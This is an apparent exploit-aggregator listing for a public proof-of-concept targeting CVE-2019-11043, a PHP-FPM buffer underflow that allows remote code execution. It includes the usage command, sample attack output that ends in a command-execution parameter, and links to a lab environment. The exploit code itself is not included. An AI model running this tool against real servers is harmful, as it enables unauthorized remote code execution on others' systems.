CVE-2019-11043 PoC — Underflow in PHP-FPM can lead to RCE

Source

https://github.com/huowen/CVE-2019-11043

Associated Vulnerability

Title: Underflow in PHP-FPM can lead to RCE (CVE-2019-11043)
Description:In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it is possible to cause FPM module to write past allocated buffers into the space reserved for FCGI protocol data, thus opening the possibility of remote code execution.

Description

Python exp for CVE-2019-11043

Readme

# CVE-2019-11043
Python exp for CVE-2019-11043



```
You can use build environment from https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043
```



Usage：

```
python3 main.py -u http://ip_to_page/index.php
```



If you success, you will see:

```
Base status code is 200
qsl:1760 with status code 502
The target maybe vulnerable, extended candidates is [1750, 1755, 1760]
Attack params found: --qsl 1755 --pisos 6 --skip-detect
Trying to set "session.auto_start=0"
Start attack!
Exploited! use "?a=/usr/bin/yourcommand"
Clean up /tmp/a...
Done
```



Reference:

```
https://github.com/neex/phuip-fpizdam
```

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →